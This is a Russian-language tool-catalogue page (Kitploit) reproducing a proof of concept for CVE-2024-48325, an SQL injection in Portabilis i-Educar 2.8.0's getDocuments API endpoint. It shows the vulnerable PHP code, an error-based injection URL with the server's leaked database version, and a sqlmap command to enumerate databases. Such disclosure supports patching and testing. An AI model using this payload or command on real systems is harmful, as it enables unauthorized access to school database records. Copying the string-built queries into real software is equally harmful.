Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2024-48325 — Доказательство концепции SQL-инъекции в Portabilis i-Educar 2.8.0, демонстрирующее неаутентифицированный доступ к базе данных через конечную точку getDocuments с автоматической эксплуатацией с помощью SQLMap. | Kitploit
Инструменты/GitHubGitHub/osvaldotenorio/cve-2024-48325
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность Баз Данных
GitHubosvaldotenorio/cve-2024-48325

cve-2024-48325

Доказательство концепции SQL-инъекции в Portabilis i-Educar 2.8.0, демонстрирующее неаутентифицированный доступ к базе данных через конечную точку getDocuments с автоматической эксплуатацией с помощью SQLMap.

Репозиторий
181 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-48325

Описание: Аутентифицированный пользователь может воспользоваться уязвимостью SQL-инъекции в функции getDocuments класса InstituicaoDocumentacaoController. Параметр instituicao_id в /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id не проходит должную санитацию, что позволяет аутентифицированному удалённому злоумышленнику внедрять вредоносные SQL-команды.

Версии: Обнаружено в Portabilis i-Educar 2.8.0.

Доказательство концепции

Детали уязвимости

Проблема присутствует в функции getDocuments класса InstituicaoDocumentacaoController, которая может быть вызвана через следующий endpoint:

class InstituicaoDocumentacaoController extends ApiCoreController
{
    protected function insertDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $var2 = $this->getRequest()->titulo_documento;
        $var3 = $this->getRequest()->url_documento;
        $var4 = $this->getRequest()->ref_usuario_cad;
        $var5 = $this->getRequest()->ref_cod_escola;
        $sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_usuario_cad, ref_cod_escola) VALUES ($var1, '$var2', '$var3', $var4, $var5)";
        $this->fetchPreparedQuery($sql);
        $sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
        $novoId = $this->fetchPreparedQuery($sql);
        return ['id' => $novoId[0][0]];
    }
    
    protected function getDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
        $instituicao = $this->fetchPreparedQuery($sql);
        $attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
        $instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
        return ['documentos' => $instituicao];
    }
}

Как возникает уязвимость

Параметр instituicao_id используется напрямую в SQL-запросах без надлежащей санитации или параметризации. Это позволяет злоумышленникам отправлять вредоносные HTTP-запросы для внедрения SQL-команд, потенциально получая несанкционированный доступ к базе данных или манипулируя данными.

  • Пример endpoint, вызывающий уязвимость: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14
  • Пример эксплойта: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1

Ответ сервера:

{
    "oper": "get",
    "resource": "getDocuments",
    "msgs": [
        {
            "msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC) in the database: Exception: SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type integer: \"PostgreSQL 16.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\" (Connection: pgsql, SQL: SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC)",
            "type": "error"
        }
    ],
    "any_error_msg": true
}

Автоматизированная эксплуатация

  • Эта уязвимость также может быть использована автоматизированными инструментами, такими как SQLMap, позволяя перечислять базы данных: sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5

SQLMap

Скачать инструмент